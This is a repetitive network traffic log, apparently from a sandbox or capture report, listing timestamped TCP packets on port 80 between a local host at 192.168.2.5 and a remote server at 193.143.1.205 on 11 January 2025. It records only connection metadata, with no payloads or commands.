Jan 11, 2025 08:44:56.414608002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.414617062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.414644003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.414660931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.414673090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.414684057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.414710999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.424397945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.468343019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.468395948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.468406916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.468420029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.468432903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.468449116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.468461037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.468478918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.468492985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.468502998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.468534946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.468580008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.468592882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.468604088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.468615055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.468645096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.468691111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.468703032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.468714952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.468755007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.468830109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.468841076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.468851089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.468864918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.468867064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.468878984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.468888998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.468919992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.468943119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.496972084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.496998072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.497009993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.497018099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.497051001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.497057915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.497070074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.497081995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.497114897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.497138023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.497149944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.497173071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.497184992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.497220039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.497296095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.497307062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.497317076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.497328997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.497340918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.497344017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.497366905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.497399092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.497411966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.497446060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.497492075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.497503996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.497514963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.497529030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.497529984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.497540951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.497565985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.497596979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.497662067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.497678995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.497690916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.497704029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.497710943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.497742891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.497781992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.497792959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.497803926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.497826099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.497937918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.497951031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.497961998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.497975111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.497978926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.497989893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498001099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.498003960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498018026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498025894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.498033047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498054028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.498280048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498291016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498302937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498316050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498323917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.498328924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498339891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.498344898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498362064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498384953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.498395920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.498445988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498457909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498467922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498481035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498493910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498502970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.498507023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498522043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498529911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.498536110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498547077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.498552084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498575926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.498811007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498823881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498835087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498847961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498859882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498861074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.498877048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498881102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.498892069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498898029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.498904943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498919010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498930931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498934984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.498944044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498950958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.498958111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498976946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.498994112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.499017954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.499174118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.499185085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.499196053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.499208927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.499217987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.499222994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.499243975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.499419928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.499437094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.499453068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.499459982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.499465942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.499490023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.499491930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.499505997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.499519110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.499522924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.499531984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.499542952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.499555111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.499566078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.499567986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.499583960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.499589920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.499599934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.499599934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.499614000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.499625921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.499639034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.499643087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.499655962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.499664068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.499696970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.518595934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.526690006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.526715994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.526726961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.526782990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.526809931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.526822090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.526832104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.526860952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.526860952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.526885033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.526892900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.526904106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.526935101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.526976109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.526988029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.526998043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.527010918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.527023077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.527050972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.527117014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.527156115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.556956053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.556987047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.556998014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.557009935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.557071924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.557085991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.557097912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.557096004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.557111025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.557147980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.557180882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.557195902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.557209015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.557259083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.557292938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.557303905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.557323933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.557336092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.557349920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.557365894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.557368040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.557368040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.557414055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.557449102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.557461023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.557471991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.557483912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.557501078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.557501078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.557532072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.557645082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.557657003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.557694912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.585689068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.585822105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.586148977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.586162090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.586175919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.586188078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.586199045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.586215973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.586225033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.586230993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.586246014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.586255074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.586260080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.586273909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.586289883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.586298943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.586312056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.586314917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.586328030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.586339951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.586352110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.586354017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.586369038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.586374998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.586384058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.586400986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.586407900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.586412907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.586426020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.586440086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.586448908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.586457014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.586457968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.586488008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.586637974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.586649895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.586661100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.586673021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.586684942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.586700916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.586700916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.586718082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.586724997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.586735010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.586746931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.586776972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.587003946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.587018013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.587029934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.587043047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.587054968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.587068081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.587079048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.587094069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.587100983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.587110043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.587119102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.587126017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.587141991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.587150097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.587160110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.587186098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.587378025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.587389946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.587402105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.587419033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.587421894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.587435007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.587445021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.587467909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.587517977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.587529898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.587548018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.587568045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.587568045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.587582111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.587594032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.587604046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.587609053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.587624073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.587625980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.587637901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.587654114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.587657928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.587666988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.587681055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.587687969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.587694883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.587708950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.587716103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.587723017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.587738037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.587743998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.587771893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.588057995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.588120937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.588131905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.588143110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.588157892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.588160992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.588172913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.588182926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.588186979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.588202000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.588208914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.588246107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.588411093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.588423014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.588433981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.588449955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.588455915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.588463068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.588475943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.588484049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.588489056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.588500977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.588512897 CET	80	49704	193.143.1.205	192.168.2.5
